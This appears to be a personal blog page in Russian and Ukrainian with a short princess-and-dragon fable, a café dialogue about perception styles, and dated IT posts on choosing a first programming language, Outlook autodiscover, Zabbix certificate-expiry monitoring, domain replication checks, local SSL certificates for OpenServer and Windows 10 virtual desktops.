Как водится принцессе одной в замке было скучно, и она часто выходила гулять вокруг озера. По началу дракон волновался что принцесса может заблудиться и не вернуться, но со временем он привык к таким ее вечерним прогулкам и даже торопился составить ей кампанию. Вот и сегодня они сидели на высоком берегу, свесив кто ноги кто лапы, и кидали в озеро камушки.

- А у тебя до меня были другие принцессы? — неожиданно спросила принцесса.

- Конечно, — ответил дракон. — Не так много.

- И где они все? — принцесса судорожно сгребла камень и, не глядя, зашвырнула подальше.

- Как тебе сказать... — дракон помолчал. — Они все закончились. Я их отпустил.

- Это потому, что ты их чувствовал, да? Или это было просто давно?

- Не только, — дракон кинул камушек. Снизу донесся «бултых», треск лодки и проклятия. - Понимаешь, чувствовать других не просто. Вот хочется нежно прижать принцессу к себе и никогда-никогда не отпускать...

- Это я понимаю, — сказала принцесса. Она придвинулась к дракону и нежно прижала к себе его левую лапу. Дракон опасливо покосился.  - Ну и что?

- Довольно скоро принцесса начинает шевелиться и пытается вырваться. Ей хочется чего-то еще, а не только быть нежно прижатой, - с третьей попытки дракон высвободил лапу.

Принцесса вздохнула, и кинула в озеро камушек.


- А ты бы узнал чего ей хочется еще? - добавила принцесса, и опять тихонько прижалась к нему.

- Да я то знаю, - вздохнул дракон. И сделал вид что не заметил. - Все дело в дистанции.

- Какой еще дистанции? - удивленно заметила принцесса чуть не обронив следующий камешек ему прямо на лапу.

- Это трудно объяснить. - ответил дракон. - Ты хочешь прижать ее сильно-сильно, но между нами все равно оcтается дистанция. Поэтому иногда мне дышать становится совсем трудно, а сердцу нестерпимо больно, но я все равно не хочу ее отпускать. Наверное ты и сама знаешь как это бывает – вот он сейчас рядом, а внутри тебя все равно не отпускает. А когда я улетаю у нее остается часть меня.

Tuesday, 26 February 2019

Make Solution - те що вам треба!

Всім привіт.

Кажуть що Програмування - одна з найцінніших навичок для кар'єрного зростання, саморозвитку і створення чогось нового.

Ви вирішили стати розробником!

Незалежно від вибору мови або методу навчання, вам слід почати з самого початку. Треба починати з самих основ і бути наполегливим. Обраний напрямок в навчанні буде залежати більшою мірою від того, чому саме ви хочете навчитися програмувати і скільки часу ви готові приділяти цьому процесу. Зрозуміло ви можете записатися на професійні курси. Або якщо ви хочете створювати ігри і веб-сайти кращим вибором будуть інтерактивні курси. Безкоштовні онлайн тренінги і проекти можуть допомогти вам в написанні першої програми. Потрібно знайти потрібне джерело в залежності від мови програмування. Це гарна відправна точка, однак подальше навчання вам потрібно взяти на себе. Якщо ви застрягнете на якійсь проблемі або вам потрібно знайти відповідь на своє питання, не варто забувати про довідники та форуми.

А з якої мови почати?

Я думаю що перша мова має бути простою і популярною на ринку. Такою мовою є Python. Зазвичай його вибирають в якості першої мови програмування. Код програми на Python читабельний. Вам навіть не потрібно бути програмістом, щоб в загальних рисах зрозуміти, що відбувається в програмі. Через нескладний синтаксис Python вам знадобиться менше часу для написання програми, ніж, наприклад, на Java. Величезна база бібліотек, яка заощадить вам купу сил, нервів і часу. Python є високорівневою мовою. А значить, вам не потрібно особливо думати про осередки пам'яті і про те, що там розмістити. Python - це мова широкого призначення.

PHP - ще один дуже популярна мову. Вона навіть простіше, ніж Python. Дуже легко знайти собі ментора або рішення якої-небудь проблеми на форумі. Все тому, що в світі існує величезна кількість PHP-програмістів різного рівня. У PHP немає нормального імпорту, є безліч варіантів вирішення однієї і тієї ж задачі. Це іноді ускладнює навчання. І PHP заточений виключно під web.

Java може стати непоганим вибором для новачка. Ця мова популярніша, ніж Python, але і трохи складніше. Зате інструменти для розробки набагато краще опрацьовані. Варто лише порівняти Eclipse і IDLE. Після Java вам буде простіше перейти до роботи з низькорівневими мовами програмування.

Ruby - хороший вибір в якості другої мови, але не першої.

JavaScript - дуже проста мова, але нічому доброму він вас не навчить. А завдання першої мови програмування все-таки навчити вас чогось правильному, задати якусь логіку.

Thursday, 21 February 2019

Проверка автоконфигурации в Outlook 2016.

Всем привет.

Функция автоматического обнаружения (Autodiscover) появилась еще в Exchange Server 2007. Основанная задача Autodiscover – возможность поиска почтовым клиентом почтового сервера Exchange и автоматического подключения почтового ящика. От пользователя Outlook нужно только указать свое email  и пароль, все остальное Outlook при помощи Autodiscover выполнит сам.

При тестировании нового почтового клиента Outlook 2016 при внешнем подключении к Exchange было замечено, что автоматическая настройка клиента может занимать несколько минут. Проблема заключается в том, что Autodiscover отрабатывает слишком долго. Собственно про проблему и как ее решить кардинально сказано здесь.

Например у меня первый запуск Autodiscover никогда не получается если не дать клиенту Outlook 2016 доступ в интернет. Почему? Клиент Outlook 2016 выполняет проверку действительности сертификатов сервера Exchange. 

Проверить куда именно выполняет запросы Outlook 2016 при своем запуске можно с помощью утилиты Test E-mail AutoConfiguration. Она громко названа утилитой ибо эта возможность присутствует из коробки в самом клиенте Outlook 2016. Выбираете иконку запущенного клиента в корзине, зажимаете правый Control и наблюдаете всплывающее меню.



Тут нас интересуют две опции:
- Состояние подключения...
- Проверить автоконфигурацию...

Friday, 15 February 2019

Уметь сокращать расстояния.

Всем привет.

Решил продолжить свою серию почемучек. По моему неплохо вышло.

Повстречались как-то два друга, Визио и Ауди. Давненько они так не виделись потому решили зайти в ближайшее кафе, погутарить про жизнь. Заказали себе по кофе, и полилась беседа на тему на чей взгляд эта беспокойная жизнь воспринимается полнее.

Ауди первым взял слово ибо это был его конек, потому он любил слушать не только всех, но даже себя.

"Я могу услышать что угодно и надолго запомнить это" - начал он. - "Это же так завораживает, закрываешь глаза и слышишь шелест листвы осеннего леса. Или шум прибоя летнего моря. Или ее голос пониженный до бархатного ..."

"Охотно верю" - мягко перебил его Визио. - "Но в этом случае лучше держать глаза открытыми."

"-В каком случае?" - возмутился Ауди.

"-Когда ее голос пониженный до бархатного" - ответил Визио.

"-Много ты понимаешь в этой жизни..." - не унимался Ауди.

"-Достаточно для того чтобы утверждать что мой метод впитывания окружения лучше" - парировал Визио. "-Как ты слышишь? В каком формате, в каком диапазоне? А я всегда смотрю на мир в полную палитру цветов и на все 360 градусов. Прибавь к ее бархатному голосу ее глаза и ты получишь совершенно другую картину."

"-Вот видишь,... "к ее голосу"..." - вставил Ауди.

"-А ты сказал "Вот видишь..." - улыбнулся Визио. - "К тому ж я могу увидеть бархат ее голоса. Ты не знал?"

Случайно или нет возле их столика появился третий.

-Прошу прощения, я невольно услышал ваш разговор. Вы не будет против если я вас чуть... дополню. И присяду рядом. Разумеется ваши методы имеют право на жизнь, и многие в этом мире ими усердно пользуются, или только ими. Как кому повезло. Но это ничто в сравнении с моим методом.

-А вы, простите, кто?

-Меня зовут Кинест-етик.

-Кине... кто?

-Я чувствую жизнь.

-Хм, звучит неплохо. И что за метод вы продвигаете?

-Я же сказал - чувствую эту жизнь. На вкус, на запах, на ощущения. Жизнь штука богатая, аудио и видео-канала явно недостаточно. Вот вы, слышали запах леса? А вы, видели чем касается синее море ваших ног?

-Послушайте, мы не совсем понимаем про что вы. Это шутка? Вы, наверное, физик?

-Ну хорошо. Попробую иначе. Что вы заказали сегодня?

"-Я Американо со сливками, мой друг Флет-уайт. Какое это имеет значение?" - сказал Ауди.

"-Выбор осознанный, без меню?" - повторил Кинест.

"-Вполне" - подтвердил Визио.

Wednesday, 13 February 2019

Как заставить Agent-а zabbix выполнить внешнюю команду.

Всем привет.

Короткий практический кейс. Как заставить Agent-а zabbix выполнить внешнюю команду на хосте? И вернуть полученную информацию на сервер zabbix-а?

Делай раз. Изменить для Agent-а: 
- добавить в файл zabbix_agentd.win.conf:
UserParameter=Certificate, PowerShell.exe (Get-ChildItem -Path cert: -Recurse -ExpiringInDays 45).subject


Изменить значение параметра Timeout на максимальное, т.е. 
# Spend no more than Timeout seconds on processing.
Timeout=30

Делай два. Изменить для Server-а: 
- в файл zabbix_server.conf изменить значение параметра Timeout на максимальное
Timeout = 30

Делай три. При создании новой Item нужно использовать в качестве ключа слово "Certificate".

Делай четыре. При создании триггера его Expression может выглядеть как 
{192.168.1.15:Certificate.strlen()}>1
что значит что триггер сработает если в выводе будет хотя бы один два символа.

А запрос Get-ChildItem -Path cert: -Recurse -ExpiringInDays 100).subject
вернет построчно информацию про сертификаты которые истекают про сроку действия в течение 100 дней

Например вот такую:
CN=Oracle Corporation, O=Oracle Corporation, L=Redwood Shores, S=California, C=US

Успехов.


Friday, 8 February 2019

Выделение саундтрека из видео.

Всем привет.

По одному случаю нарисовалась необходимость выделить саундтрек из видеоролика. Сам видеоролик, как и положено в большой литературе, размещен в youtube.

Самый простой вариант это проиграть ролик полностью и одновременно выполнить захват аудио-потока в файл инструментом типа Total Recorder. Делаю так часто когда саундтрек нужен был для теста и качество звука особого значения не имеет. Чем чревато? В процессе захвата в аудио-поток могут внедриться посторонние звуки или шумы. Или youtube случайно станет на микро-паузу если мощности вашего CPU в какой то момент ему не хватит.

Поэтому я использовал путь чуть длиннее. Вначале извлекаем ролик себе на диск с помощью сервиса savefrom.net в формате МР4 360p. Это видео-формат низкого качества, но нас это мало волнует потому как нам нужен саундтрек. Далее берем плеер VLC Media Player и выбираем в нем опцию "Convert/Save". 


Подгружаем наш видеоролик и еще раз жмем на "Convert/Save". 

Wednesday, 6 February 2019

Проверка репликации в домене.

Всем привет.

Репликация в домене имеет значение. И как часто она происходит и какое время она выполняется тоже. 

Допустим я саму репликацию не настраивал. Обычное дело когда один админ заменяет другого. Поэтому перво-наперво что мне надо это получить информацию о ее состоянии.

Из командной строки делается так (NameOfDC - имя контроллера домена):

- запрос используемых зон DNS
dnscmd NameOfDC /enumzonez

- проверка зон DNS
dcdiag /s:NameOfDC /test:dns

- запрос по репликам суммарно
repadmin /replsum

- запрос по репликам с ошибками выполнения
repadmin /showrepl /errorsonly

- запрос по репликам подробно
repadmin /showrepl

И вот вам такая сводка ключей для repadmin. 


Friday, 1 February 2019

OpenServer и SSL.

Всем привет.

SSL сертификат имеет важное значение в поисковой выдачи при продвижении и уже очень многие сайты перешли на его использование. Сам Google все больше и больше любит сайты с  префиксом https. Тестируя новый проект на локальном хостинге поднятым под OpenServer наступила необходимость проверить его работу именно как https-версией.  Хотя OpenServer и поддерживает из коробки https его еще надо подружить с самой системой на тему SSL сертификатов. которые надо создать и установить. Поэтому малость поколдуем для этого.

Для начала редактируем файл generate.bat перезаписывая нашим содержимым (дополнительно, вместо mysite.ua в двух местах прописываем свой сайт)
OSPanel\modules\http\Ваша_Версия_PHP\conf\generate.bat

@echo off

set OPENSSL_CONF=%~dp0..\conf\openssl.cnf
..\bin\openssl req -x509 -sha256 -newkey rsa:2048 -nodes -days 5475 -keyout rootCA.key -out rootCA.crt -subj "/CN=mysite.ua/"
..\bin\openssl req -newkey rsa:2048 -nodes -days 5475 -keyout server.key -out server.csr -subj "/CN=mysite.ua/"
..\bin\openssl x509 -req -sha256 -days 5475 -in server.csr -extfile v3.txt -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out server.crt
..\bin\openssl dhparam -out dhparam.pem 2048

В той же папке OSPanel\modules\http\Ваша_Версия_PHP\conf\ создаем текстовый файл под названием v3.txt с содержимым (в dns прописываем название сайта или сайтов):

nsComment = "Open Server Panel Generated Certificate"
basicConstraints = CA:false
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
subjectAltName = @alt_names

[alt_names]
DNS.1 = mysite.ua
DNS.2 = mysupersite.ua

Запускаем generate.bat. Ждём пару минут до завершения его работы.

Wednesday, 23 January 2019

Виртуальные столы в Windows 10.

Всем привет. 

Оказывается Windows 10 имеет такую фишку как виртуальные экраны.  Работать с ними просто.

Добавить виртуальный экран: Winkey+Ctrl+D
Посмотреть список запущенных экранов: Winkey+Tab
Переключение между экранами: Winkey+Ctrl+стрелка вправо или влево.
Закрыть экран: Winkey+Ctrl+F4.

Проверил, работает. Но прикольно!


Приколы выглядят так - все приложения независимо от того на каком столе (экране) они находятся в перечне запущенных задач сидят вместе. 

Звук, разумеется, для всех столов общий.

Если окна минимизированы то как догадаться на каком они столе сейчас находятся? Тем более Windows крутит на карусели только 9 столов. Остальные просто не видны.

Особенно жестко это выглядит когда  у тебя еще и два монитора. До сих пор не могу догадаться где откроется следующее окно. )

Увидимся.


Версия на печать

Популярное

Медиа облако